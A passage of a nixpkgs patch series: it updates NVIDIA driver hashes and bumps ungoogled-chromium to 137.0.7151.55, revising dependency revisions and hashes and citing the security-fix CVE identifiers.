(cherry picked from commit 515ae33fe7e8911046f6efdd38918ec0ccd3660c)
---
 pkgs/os-specific/linux/nvidia-x11/default.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/os-specific/linux/nvidia-x11/default.nix b/pkgs/os-specific/linux/nvidia-x11/default.nix
index 30e9884ddac8..5c8fca50ea56 100644
--- a/pkgs/os-specific/linux/nvidia-x11/default.nix
+++ b/pkgs/os-specific/linux/nvidia-x11/default.nix
@@ -64,12 +64,12 @@ rec {
   stable = if stdenv.hostPlatform.system == "i686-linux" then legacy_390 else production;
 
   production = generic {
-    version = "570.144";
-    sha256_64bit = "sha256-wLjX7PLiC4N2dnS6uP7k0TI9xVWAJ02Ok0Y16JVfO+Y=";
-    sha256_aarch64 = "sha256-6kk2NLeKvG88QH7/YIrDXW4sgl324ddlAyTybvb0BP0=";
-    openSha256 = "sha256-PATw6u6JjybD2OodqbKrvKdkkCFQPMNPjrVYnAZhK/E=";
-    settingsSha256 = "sha256-VcCa3P/v3tDRzDgaY+hLrQSwswvNhsm93anmOhUymvM=";
-    persistencedSha256 = "sha256-hx4w4NkJ0kN7dkKDiSOsdJxj9+NZwRsZEuhqJ5Rq3nM=";
+    version = "570.153.02";
+    sha256_64bit = "sha256-FIiG5PaVdvqPpnFA5uXdblH5Cy7HSmXxp6czTfpd4bY=";
+    sha256_aarch64 = "sha256-FKhtEVChfw/1sV5FlFVmia/kE1HbahDJaxTlpNETlrA=";
+    openSha256 = "sha256-2DpY3rgQjYFuPfTY4U/5TcrvNqsWWnsOSX0f2TfVgTs=";
+    settingsSha256 = "sha256-5m6caud68Owy4WNqxlIQPXgEmbTe4kZV2vZyTWHWe+M=";
+    persistencedSha256 = "sha256-OSo4Od7NmezRdGm7BLLzYseWABwNGdsomBCkOsNvOxA=";
   };
 
   latest = selectHighestVersion production (generic {

From 97d21a72dc18f4b300c6f954ccdf9b06f3405768 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Thu, 29 May 2025 01:55:11 +0200
Subject: [PATCH 0202/4511] ungoogled-chromium: 136.0.7103.113-1 ->
 137.0.7151.55-1

https://chromereleases.googleblog.com/2025/05/stable-channel-update-for-desktop_27.html

This update includes 11 security fixes.

CVEs:
CVE-2025-5063 CVE-2025-5280 CVE-2025-5064 CVE-2025-5065 CVE-2025-5066
CVE-2025-5281 CVE-2025-5283 CVE-2025-5067

(cherry picked from commit f7be7faad2f3716cb64a7f87b5fbc066a64d846c)
---
 .../networking/browsers/chromium/info.json    | 274 +++++++++---------
 1 file changed, 137 insertions(+), 137 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index b3bda2dfd9df..f499bdc271af 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -797,27 +797,27 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "136.0.7103.113",
+    "version": "137.0.7151.55",
     "deps": {
       "depot_tools": {
-        "rev": "f40ddcd8d51626fb7be3ab3c418b3f3be801623f",
-        "hash": "sha256-O9vVbrCqHD4w39Q8ZAxl1RwzJxbH/thjqacMtCnOPdg="
+        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
+        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
       },
       "gn": {
-        "rev": "6e8e0d6d4a151ab2ed9b4a35366e630c55888444",
-        "hash": "sha256-vDKMt23RMDI+KX6CmjfeOhRv2haf/mDOuHpWKnlODcg="
+        "rev": "85cc21e94af590a267c1c7a47020d9b420f8a033",
+        "hash": "sha256-+nKP2hBUKIqdNfDz1vGggXSdCuttOt0GwyGUQ3Z1ZHI="
       },
       "ungoogled-patches": {
-        "rev": "136.0.7103.113-1",
-        "hash": "sha256-+xQvBkwza1QLwWgijoMnih2k2v0I7cBiAjxOeqMf6A0="
+        "rev": "137.0.7151.55-1",
+        "hash": "sha256-m8un3k5gz8nqQIvulvV2yhY/TQZ7wcp1zwQmtqjbCEw="
       },
-      "npmHash": "sha256-QRjk9X4rJW3ofizK33R4T1qym1riqcnpBhDF+FfNZLo="
+      "npmHash": "sha256-I6MsfAhrLRmgiRJ13LSejfy2N63C3Oug5tOOXA622j4="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "76fa3c1782406c63308c70b54f228fd39c7aaa71",
-        "hash": "sha256-U6WsxmGf4eFKVBBgppoHIfMlrT34a1oymZETzEhzkQA=",
+        "rev": "254bc711794d7ad269495f3d419a209935b78cad",
+        "hash": "sha256-dB81lgjgVK0qXWgAddB7G4L7rsJpZp+0VsjDKvGugEs=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -827,28 +827,28 @@
       },
       "src/third_party/compiler-rt/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/compiler-rt.git",
-        "rev": "bc2b30185219a2defe3c8a3b45f95a11386a7f6f",
-        "hash": "sha256-bfDMglQaiExTFwaVBroia+6G+9AHEVy5cQGocaEVOgA="
+        "rev": "d0e4db9fcea15a392aaada986cbe33658afc0454",
+        "hash": "sha256-P/uDeqalafY1S7AqZkL1Pz7Jc+iWrkfiACxEtgTRqdU="
       },
       "src/third_party/libc++/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx.git",
-        "rev": "449310fe2e37834a7e62972d2a690cade2ef596b",
-        "hash": "sha256-Ypi5fmWdoNA1IZDoKITlkNRITmho8HzVlgjlmtx0Y84="
+        "rev": "9d0cba76be7399399d3a499ff3a52c264db3b104",
+        "hash": "sha256-wpMma142NBqyrSbaReQr5yOYhvQIZ06j6S2EUnXmZ2I="
       },
       "src/third_party/libc++abi/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxxabi.git",
-        "rev": "94c5d7a8edc09f0680aee57548c0b5d400c2840d",
-        "hash": "sha256-wMMfj3E2AQJxovoSEIuT2uTyrcGBurS1HrHZOmP36+g="
+        "rev": "f2a7f2987f9dcdf8b04c2d8cd4dcb186641a7c3e",
+        "hash": "sha256-X9cAbyd8ZPSwqOGhPYwIZ6b9E3tVwAuAYZKMgbZQxgk="
       },
       "src/third_party/libunwind/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libunwind.git",
-        "rev": "e2e6f2a67e9420e770b014ce9bba476fa2ab9874",
-        "hash": "sha256-LdRaxPo2i7uMeFxpR7R4o3V+1ycBcygT/D+gklsD0tA="
+        "rev": "81e2cb40a70de2b6978e6d8658891ded9a77f7e3",
+        "hash": "sha256-XdFKn+cGOxA0fHkVMG9UAhCmpML44ocoyHB7XnumX7o="
       },
       "src/third_party/llvm-libc/src": {
         "url": "https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libc.git",
-        "rev": "97989c1bfa112c81f6499487fedc661dcf6d3b2e",
-        "hash": "sha256-9Ieaxe0PFIIP4RttODd8pTw/zVjQZGZtaYSybwnzTz0="
+        "rev": "cc59264cf9b2ecab0cfc8b51f6f1878372416d36",
+        "hash": "sha256-wQMUL5uAaR8sA1V0FHTZv3jVVaF3NxiHfNnlMq3YImY="
       },
       "src/chrome/test/data/perf/canvas_bench": {
         "url": "https://chromium.googlesource.com/chromium/canvas_bench.git",
@@ -867,18 +867,18 @@
       },
       "src/docs/website": {
         "url": "https://chromium.googlesource.com/website.git",
-        "rev": "929dd3e6d02aac1f46653d03b2a644e2873a3bbb",
-        "hash": "sha256-lY4P2f90/9JwCpxuBFjim7KygczM8zMDQVUaEYaQjnA="
+        "rev": "e157e12d99cfc729a970b474344673c44e2d2c9c",
+        "hash": "sha256-fowwJbXOR4OIN4+1bJEWv9VP/TLHb9+H1Vt3apVLwkk="
       },
       "src/media/cdm/api": {
         "url": "https://chromium.googlesource.com/chromium/cdm.git",
-        "rev": "5a1675c86821a48f8983842d07f774df28dfb43c",
-        "hash": "sha256-FgeuOsxToA4qx3H76czCPeO/WVtprRkllDMPancw3Ik="
+        "rev": "852a81f0ae3ab350041d2e44d207a42fb0436ae1",
+        "hash": "sha256-3JBBcBg2ep/7LnvMHBWnqAFG+etETArFXZr4Klv30T4="
       },
       "src/net/third_party/quiche/src": {
         "url": "https://quiche.googlesource.com/quiche.git",
-        "rev": "5077431b183c43f10890b865fc9f02a4dcf1dd85",
-        "hash": "sha256-CLvZTBvtTdOpC8eWUTWkb0ITJ5EViPmc6d5O8cTaKY8="
+        "rev": "faec206356fe384c522f34982ae2e92f2f111242",
+        "hash": "sha256-8SuRhYAD3RWMiqD/a8usrRnYKd6prAK5jdwJVXRI+Q0="
       },
       "src/testing/libfuzzer/fuzzers/wasm_corpus": {
         "url": "https://chromium.googlesource.com/v8/fuzzer_wasm_corpus.git",
@@ -892,8 +892,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "fa40b7c586fd2da9fd7e5c4d893ecb1334553b9e",
-        "hash": "sha256-bIpN9lehrKpJYBKLeo8Szz0/aVe7NU2Eo2NIO5dAZ9w="
+        "rev": "df9c59dcacff7d186d00e3263a1aa68f8059137c",
+        "hash": "sha256-ybi/DwOQ10I+MK9buKpdNcUlFAI9RA3NfyoB3Udpfyo="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -907,8 +907,8 @@
       },
       "src/third_party/angle/third_party/VK-GL-CTS/src": {
         "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/VK-GL-CTS",
-        "rev": "b6bb4bab7b4a36bc95566e00cb8f01051089afc3",
-        "hash": "sha256-L2ewIW6C+PTftbbXf+nlWcFD0y4naBNg7FLXMMxiWac="
+        "rev": "dd7e71367795e2dc4d46effda5378f22e9000d16",
+        "hash": "sha256-EZoSoDLFWRR2xkHOKNaNVQvubFp8in0p7/CHN8CFaVI="
       },
       "src/third_party/anonymous_tokens/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/anonymous-tokens.git",
@@ -927,8 +927,8 @@
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "1cffe7ec763900d104e4df62bc96d93f572157cb",
-        "hash": "sha256-VK+5saAJlZOluMAYKTKwNcnZALsCYkzgVfQHylt3584="
+        "rev": "fbe707f88ccabca01031e47bf165bd9d499878dd",
+        "hash": "sha256-8tmDR3l7eHWUfVRU90Kg76N/moU6Lb5b3FySJOckl8U="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -937,8 +937,8 @@
       },
       "src/third_party/dawn/third_party/dxc": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectXShaderCompiler",
-        "rev": "206b77577d15fc5798eb7ad52290388539b7146d",
-        "hash": "sha256-WXgiOlqtczrUkXp46Q/GTaYk0LDqebQSFbyWpD299Xw="
+        "rev": "8209d53f0ef0257e5b8c78d22057086403946cca",
+        "hash": "sha256-2yM8Fct7Ru8ZSFr+Qm1Bv52K2/geAwmOpWc/X7yxLQY="
       },
       "src/third_party/dawn/third_party/dxheaders": {
         "url": "https://chromium.googlesource.com/external/github.com/microsoft/DirectX-Headers",
@@ -957,8 +957,8 @@
       },
       "src/third_party/dawn/third_party/webgpu-cts": {
         "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts",
-        "rev": "5fbd82847521cb2d584773facd56c2eb6a4df180",
-        "hash": "sha256-WTVOc2EVB/DJ4aDeB8XIF/ff6LSeEUMt2Xkvj5Hu4aU="
+        "rev": "3df76734dc695c4d1c51276b5d9eb63078362972",
+        "hash": "sha256-4jCsCt2rcUpUk2xeL3tZx/jTnuJ+COG+xsDtR+sK1oQ="
       },
       "src/third_party/highway/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/highway.git",
@@ -972,13 +972,13 @@
       },
       "src/third_party/boringssl/src": {
         "url": "https://boringssl.googlesource.com/boringssl.git",
-        "rev": "a9993612faac4866bc33ca8ff37bfd0659af1c48",
-        "hash": "sha256-fUPl9E2b7RfanH0pZNArIkJ4lnnmCtyk7sCaTArCB70="
+        "rev": "918cf66ed841930fe1554ae8d78974b95e989596",
+        "hash": "sha256-gzcXse/emv9JBMiInUV5KTeyMQ0igUdFpzUJR4vCUu4="
       },
       "src/third_party/breakpad/breakpad": {
         "url": "https://chromium.googlesource.com/breakpad/breakpad.git",
-        "rev": "657a441e5c1a818d4c10b7bafd431454e6614901",
-        "hash": "sha256-9MePkv10fwyJ0VDWRtvRcbLMAcJzZlziGTPzXJYjVJE="
+        "rev": "232a723f5096ab02d53d87931efa485fa77d3b03",
+        "hash": "sha256-0ynZuxIqBIpNkfD3Y9XdPFQr7HeQcsUO3lhnqvH+k8c="
       },
       "src/third_party/cast_core/public/src": {
         "url": "https://chromium.googlesource.com/cast_core/public",
@@ -987,8 +987,8 @@
       },
       "src/third_party/catapult": {
         "url": "https://chromium.googlesource.com/catapult.git",
-        "rev": "5bda0fdab9d93ec9963e2cd858c7b49ad7fec7d4",
-        "hash": "sha256-xwR9gGE8uU8qFr7GgS3/1JiuTmj1tvcM5CoCfPMdW2M="
+        "rev": "000f47cfa393d7f9557025a252862e2a61a60d44",
+        "hash": "sha256-FIJZE1Qu1MLZA4qxB68k1NjhgSbFTjf57YF85JicVZw="
       },
       "src/third_party/ced/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/compact_enc_det.git",
@@ -1012,8 +1012,8 @@
       },
       "src/third_party/cpuinfo/src": {
         "url": "https://chromium.googlesource.com/external/github.com/pytorch/cpuinfo.git",
-        "rev": "b73ae6ce38d5dd0b7fe46dbe0a4b5f4bab91c7ea",
-        "hash": "sha256-JNLaK105qDk9DxTqCFyXFfYn46dF+nZIaF5urSVRa0U="
+        "rev": "39ea79a3c132f4e678695c579ea9353d2bd29968",
+        "hash": "sha256-uochXC0AtOw8N/ycyVJdiRw4pibCW2ENrFMT3jtxDSg="
       },
       "src/third_party/crc32c/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/crc32c.git",
@@ -1022,29 +1022,34 @@
       },
       "src/third_party/cros_system_api": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/system_api.git",
-        "rev": "62ab80355a8194e051bd1d93a5c09093c7645a32",
-        "hash": "sha256-pZi6GRu7OGL7jbN4FM2qDsLCsT6cM+RM0a7XtFZVSVE="
+        "rev": "68114875ad35b573034a2ab1f5cdf3dbb0e59468",
+        "hash": "sha256-cGpteAnjGcxJUcrdLRFfQN7ruTEdNvNCbOH6EC+a39s="
       },
       "src/third_party/crossbench": {
         "url": "https://chromium.googlesource.com/crossbench.git",
-        "rev": "ce46be2573328fa7b0fd1d23c04b63389f298122",
-        "hash": "sha256-Q0kdJdEmh+wbO5oeTp98OHKh9luz8u6PDztGToldZjk="
+        "rev": "d91cc488cd651b00009e5d6c70f222362598bec9",
+        "hash": "sha256-o/sw1P+mZOSb6XIVFivC02hTPu++x+xJy2SRP2I9yGE="
       },
       "src/third_party/depot_tools": {
         "url": "https://chromium.googlesource.com/chromium/tools/depot_tools.git",
-        "rev": "f40ddcd8d51626fb7be3ab3c418b3f3be801623f",
-        "hash": "sha256-O9vVbrCqHD4w39Q8ZAxl1RwzJxbH/thjqacMtCnOPdg="
+        "rev": "1fcc527019d786502b02f71b8b764ee674a40953",
+        "hash": "sha256-7HJyJARZPes5MmKgXd3TV1uRjk0bH/pkPm+F4scg+Tc="
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "4a53cbe7a1270c91ec60903ee792de658453becb",
-        "hash": "sha256-hEksLeJli/1TNNrDcUjv19cpyIJph6kfriNfe7FWO0U="
+        "rev": "a54ed1df191a9e2aff2e9ef453ee6fdc959dd125",
+        "hash": "sha256-E6sx2ioDZRWJljbS17ztRwz+gsDhIHiluvkUx1rRZcw="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
         "rev": "199de96b345ada7c6e7e6ba3d2fa7a6911b8767d",
         "hash": "sha256-yuEBD2XQlV3FGI/i7lTmJbCqzeBiuG1Qow8wvsppGJw="
       },
+      "src/third_party/dragonbox/src": {
+        "url": "https://chromium.googlesource.com/external/github.com/jk-jeon/dragonbox.git",
+        "rev": "6c7c925b571d54486b9ffae8d9d18a822801cbda",
+        "hash": "sha256-AOniXMPgwKpkJqivRd+GazEnhdw53FzhxKqG+GdU+cc="
+      },
       "src/third_party/eigen3/src": {
         "url": "https://chromium.googlesource.com/external/gitlab.com/libeigen/eigen.git",
         "rev": "464c1d097891a1462ab28bf8bb763c1683883892",
@@ -1062,8 +1067,8 @@
       },
       "src/third_party/ffmpeg": {
         "url": "https://chromium.googlesource.com/chromium/third_party/ffmpeg.git",
-        "rev": "fbce2a76c00cd2e5aeffe3c2e71d44c284ec52d6",
-        "hash": "sha256-bGa0BCvzNxEKu9VZEwJ1NLt+b2KKWUxshpKSN2FHNEM="
+        "rev": "01f23648c6b84de6c0f717fa4e1816f53b9ee72e",
+        "hash": "sha256-hNzQZQxaa2Wtl7GWWF852cFmmXy4pc15Pp0d59TTfnI="
       },
       "src/third_party/flac": {
         "url": "https://chromium.googlesource.com/chromium/deps/flac.git",
@@ -1092,8 +1097,8 @@
       },
       "src/third_party/freetype/src": {
         "url": "https://chromium.googlesource.com/chromium/src/third_party/freetype2.git",
-        "rev": "82090e67c24259c343c83fd9cefe6ff0be7a7eca",
-        "hash": "sha256-LhSIX7X0+dmLADYGNclg73kIrXmjTMM++tJ92MKzanA="
+        "rev": "2d1abd3bbb4d2396ed63b3e5accd66724cf62307",
+        "hash": "sha256-MAVHzILj9f+/HfVjZXyJkSQM3WBwzg7IDpAwiYHfA88="
       },
       "src/third_party/freetype-testing/src": {
         "url": "https://chromium.googlesource.com/external/github.com/freetype/freetype2-testing.git",
@@ -1107,18 +1112,18 @@
       },
       "src/third_party/harfbuzz-ng/src": {
         "url": "https://chromium.googlesource.com/external/github.com/harfbuzz/harfbuzz.git",
-        "rev": "8efd2d85c78fbba6ca09a3e454f77525f3b296ce",
-        "hash": "sha256-/WNGrvyvJ+FGqoIoHapaux1iu63zjID0yR30HYPpxaw="
+        "rev": "9f83bbbe64654b45ba5bb06927ff36c2e7588495",
+        "hash": "sha256-lNnCtgIegUy4DLhYaGZXcEaFw83KWAHoKpz69AEsWp4="
       },
       "src/third_party/ink/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink.git",
-        "rev": "c542d619a8959415beda5a76fe89ffa2f83df886",
-        "hash": "sha256-sMqSHYs3lvuHXEov1K9xWRd8tUPG00QBJl6an0zrxwA="
+        "rev": "da9cb551ada1e55309b0ac89b9fbff2d29dbfe1e",
+        "hash": "sha256-MqJXwtUGL/IakwOO63JX4gx0gTocgQT3hbhw6OcYUbc="
       },
       "src/third_party/ink_stroke_modeler/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/ink-stroke-modeler.git",
-        "rev": "f61f28792a00c9bdcb3489fec81d8fd0ca1cbaba",
-        "hash": "sha256-XMLW/m+Qx+RVgo1DeYggBLjUYg/M+2eHwgjVWrA/Erw="
+        "rev": "03db1ed37b8b10b47d62ed0fa142d198a3861689",
+        "hash": "sha256-jnIljheEBq96e6zZO87bhVJbA1vIjiRzm1Hh6YMBdnU="
       },
       "src/third_party/instrumented_libs": {
         "url": "https://chromium.googlesource.com/chromium/third_party/instrumented_libraries.git",
@@ -1142,8 +1147,8 @@
       },
       "src/third_party/googletest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/googletest.git",
-        "rev": "52204f78f94d7512df1f0f3bea1d47437a2c3a58",
-        "hash": "sha256-8keF4E6ag/rikv5ROaWUB7oganjViupEAdxW1NJVgmE="
+        "rev": "cd430b47a54841ec45d64d2377d7cabaf0eba610",
+        "hash": "sha256-QT9PQ9bF+eCPfRLkcHpH4jc0UZfGPc98fHf8QDV5bZg="
       },
       "src/third_party/hunspell_dictionaries": {
         "url": "https://chromium.googlesource.com/chromium/deps/hunspell_dictionaries.git",
@@ -1152,8 +1157,8 @@
       },
       "src/third_party/icu": {
         "url": "https://chromium.googlesource.com/chromium/deps/icu.git",
-        "rev": "c9fb4b3a6fb54aa8c20a03bbcaa0a4a985ffd34b",
-        "hash": "sha256-Omv4sp9z44eINXtaE0+1TzIU1q2hWviANA79fmkF78U="
+        "rev": "4c8cc4b365a505ce35be1e0bd488476c5f79805d",
+        "hash": "sha256-eGI/6wk6IOUPvX7pRTm4VJk1CqkkxalTu84L36i/D6k="
       },
       "src/third_party/jsoncpp/source": {
         "url": "https://chromium.googlesource.com/external/github.com/open-source-parsers/jsoncpp.git",
@@ -1172,8 +1177,8 @@
       },
       "src/third_party/fuzztest/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/fuzztest.git",
-        "rev": "c31f0c0e6df5725c6b03124b579c9cf815fd10f4",
-        "hash": "sha256-Dz7DqucOxr5HzLNOdGNOG4iMw66bkOj64qOvqeADTic="
+        "rev": "b10387fdbbca18192f85eaa5323a59f44bf9c468",
+        "hash": "sha256-L2QG0pUmGjGdtdlivxYfxSqO9YaVHpIT6lvJwBMTxMw="
       },
       "src/third_party/domato/src": {
         "url": "https://chromium.googlesource.com/external/github.com/googleprojectzero/domato.git",
@@ -1187,8 +1192,8 @@
       },
       "src/third_party/libaom/source/libaom": {
         "url": "https://aomedia.googlesource.com/aom.git",
-        "rev": "9680f2b1781fb33b9eeb52409b75c679c8a954be",
-        "hash": "sha256-nfnt5JXyKR9JR3BflpGEkwzDo0lYa/oeCDm2bKH/j1g="
+        "rev": "719f60edc51b6141a2434bf1b5110c2fb075b246",
+        "hash": "sha256-W62uXVbQiq6Ef3bar2NsCXJoz5KKUK8Y/9n2vK7Vf3Q="
       },
       "src/third_party/crabbyavif/src": {
         "url": "https://chromium.googlesource.com/external/github.com/webmproject/CrabbyAvif.git",
@@ -1197,13 +1202,8 @@
       },
       "src/third_party/nearby/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/nearby-connections.git",
-        "rev": "8acf9249344ea9ff9806d0d7f46e07640fddf550",
-        "hash": "sha256-qIIyCHay3vkE14GVCq77psm1OyuEYs4guAaQDlEwiMg="
-      },
-      "src/third_party/beto-core/src": {
-        "url": "https://beto-core.googlesource.com/beto-core.git",
-        "rev": "89563fec14c756482afa08b016eeba9087c8d1e3",
-        "hash": "sha256-QPFGjtu/I0r4+dTQ2eSlWIEYwJ43B3yW0q4QtVFTVGY="
+        "rev": "e71de0e0c312caf8d2fa22f132619c6a68496444",
+        "hash": "sha256-dzJtRhoPA1FWeu0xjd7kJ1Q2nT5gIkKpIgQmywsRlPY="
       },
       "src/third_party/securemessage/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git",
@@ -1212,8 +1212,8 @@
       },
       "src/third_party/jetstream/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
-        "rev": "0260caf74b5c115507ee0adb6d9cdf6aefb0965f",
-        "hash": "sha256-DbRup4tOAYv27plzB2JKi2DBX2FVMDtFR7AzuovXUDU="
+        "rev": "0976ddeae0863ef5fb3f9ad09906224b0989f9ad",
+        "hash": "sha256-NyXGd7SwsECGBJ2qodGYB3os+UBgIOg/I8mnrsZJuTg="
       },
       "src/third_party/jetstream/v2.2": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/JetStream.git",
@@ -1222,8 +1222,8 @@
       },
       "src/third_party/speedometer/main": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
-        "rev": "c760d160caa05792d3ed7650e85861c9f9462506",
-        "hash": "sha256-/nAK2uLjpPem37XCHHx3LGZEpvL/7w4Uw5bVpQ4C6ms="
+        "rev": "dd661c033abdde11022779f40375c52632a9f43a",
+        "hash": "sha256-1/G06WCO5ssBS3+T6E3rnGdIf0r205wVxfJX7lgivR4="
       },
       "src/third_party/speedometer/v3.1": {
         "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git",
@@ -1262,8 +1262,8 @@
       },
       "src/third_party/expat/src": {
         "url": "https://chromium.googlesource.com/external/github.com/libexpat/libexpat.git",
-        "rev": "624da0f593bb8d7e146b9f42b06d8e6c80d032a3",
-        "hash": "sha256-Iwu9+i/0vsPyu6pOWFxjNNblVxMl6bTPW5eWyaju4Mg="
+        "rev": "69d6c054c1bd5258c2a13405a7f5628c72c177c2",
+        "hash": "sha256-qe8O7otL6YcDDBx2DS/+c5mWIS8Rf8RQXVtLFMIAeyk="
       },
       "src/third_party/libipp/libipp": {
         "url": "https://chromium.googlesource.com/chromiumos/platform2/libipp.git",
@@ -1307,8 +1307,8 @@
       },
       "src/third_party/libvpx/source/libvpx": {
         "url": "https://chromium.googlesource.com/webm/libvpx.git",
-        "rev": "027bbee30a0103b99d86327b48d29567fed11688",
-        "hash": "sha256-+4I6B1aTa+txhey6LMeflU0pe39V6TJ+lNIJPh6yFGM="
+        "rev": "40ec928b3fadcf8edd836445bb5842a11aeb7a2d",
+        "hash": "sha256-aUHvIv78KTiyN/cOYNuhW4UCOD55s8l8VLu4oP0Pk1s="
       },
       "src/third_party/libwebm/source": {
         "url": "https://chromium.googlesource.com/webm/libwebm.git",
@@ -1322,8 +1322,8 @@
       },
       "src/third_party/libyuv": {
         "url": "https://chromium.googlesource.com/libyuv/libyuv.git",
-        "rev": "ccdf870348764e4b77fa3b56accb2a896a901bad",
-        "hash": "sha256-8sH11psWPXLMy3Q0tAizCZ/woUWvTCCUf44jcr2C4Xs="
+        "rev": "9f9b5cf660dcfa0d3fdee41cf4ffbe4bb6e95114",
+        "hash": "sha256-OYmsMPz7nJwkVSpsDW7SbqrCU5raC1k3Mh/UkonCujM="
       },
       "src/third_party/lss": {
         "url": "https://chromium.googlesource.com/linux-syscall-support.git",
@@ -1342,8 +1342,8 @@
       },
       "src/third_party/nasm": {
         "url": "https://chromium.googlesource.com/chromium/deps/nasm.git",
-        "rev": "767a169c8811b090df222a458b25dfa137fc637e",
-        "hash": "sha256-yg4qwhS68B/sWfcJeXUqPC69ppE8FaIyRc+IkUQXSnU="
+        "rev": "9f916e90e6fc34ec302573f6ce147e43e33d68ca",
+        "hash": "sha256-neYrS4kQ76ihUh22Q3uPR67Ld8+yerA922YSZU1KxJs="
       },
       "src/third_party/neon_2_sse/src": {
         "url": "https://chromium.googlesource.com/external/github.com/intel/ARM_NEON_2_x86_SSE.git",
@@ -1357,8 +1357,8 @@
       },
       "src/third_party/openscreen/src": {
         "url": "https://chromium.googlesource.com/openscreen",
-        "rev": "db9e1ea566813606ca055868be13f6ff4a760ab8",
-        "hash": "sha256-K/frmCf3JMvPVZc6ZKPFAQrq4Pz4io3XBvADS0O5u78="
+        "rev": "40fe10467c27b6536e5d3241e5881b6e9f243216",
+        "hash": "sha256-fKXCuGzNVcN8l/2VNR5c9lwUjmSDb7MuEAVF5h8VXQU="
       },
       "src/third_party/openscreen/src/buildtools": {
         "url": "https://chromium.googlesource.com/chromium/src/buildtools",
@@ -1372,13 +1372,13 @@
       },
       "src/third_party/pdfium": {
         "url": "https://pdfium.googlesource.com/pdfium.git",
-        "rev": "ca83e69429af8f0bfa34b22dc54f538b9eebf5c5",
-        "hash": "sha256-6gsur+fx546YJn/PUOOthuj+XrSIruVUeAYl4nRI6xM="
+        "rev": "c82c611f105c0df064cc8c76363578caf9eafb75",
+        "hash": "sha256-kcrWcvbbGgQTfGypJ2EaLunYtSipJJRAin2jHunZoCU="
       },
       "src/third_party/perfetto": {
         "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git",
-        "rev": "054635b91453895720951f7329619d003a98b3e4",
-        "hash": "sha256-2jKRhHLitR0m2a4/asvVvTqAOhUlyLsBBSjpQAer4GA="
+        "rev": "f35ae1939989c58c29df43f9c2d8610f5b932715",
+        "hash": "sha256-SyYTZnNar6F6/k6PGrkRan3l9hAikEVRciDQQaR7Jvs="
       },
       "src/third_party/protobuf-javascript/src": {
         "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript",
@@ -1387,8 +1387,8 @@
       },
       "src/third_party/pthreadpool/src": {
         "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git",
-        "rev": "4e1831c02c74334a35ead03362f3342b6cea2a86",
-        "hash": "sha256-mB1QaAuY8vfv8FasPyio1AF75iYH+dM8t1GIr0Ty/+g="
+        "rev": "290ee6fff0c36614702d6b297c148e3fa08e056a",
+        "hash": "sha256-jRHF7vZPmh70jNFVukfWzVnA2dBLSDSnMWVyZ9e08n4="
       },
       "src/third_party/pyelftools": {
         "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git",
@@ -1417,13 +1417,13 @@
       },
       "src/third_party/search_engines_data/resources": {
         "url": "https://chromium.googlesource.com/external/search_engines_data.git",
-        "rev": "07834ba1e5ebfb333d0b73556b7c4d62a53cb455",
-        "hash": "sha256-DTz351NpoygQLESm/z+fzFc/KGJyQelLnWpzNMmNT9o="
+        "rev": "be408bdc2c1501ef25206145a49dcebb98db34b5",
+        "hash": "sha256-XlAE782PsEysPVIBM/Q8VdE9XnvoYUVaeMmUUoYFgvM="
       },
       "src/third_party/skia": {
         "url": "https://skia.googlesource.com/skia.git",
-        "rev": "bcce46ca33b67cc302dd53927a63013b8f53bf73",
-        "hash": "sha256-ei95CJRfNPrsYt8XcDi7Pnl5dGiJu3qs7R4rAcZ24Uc="
+        "rev": "0dfd95a49aed617f242c8b06dd5b255d1cb07776",
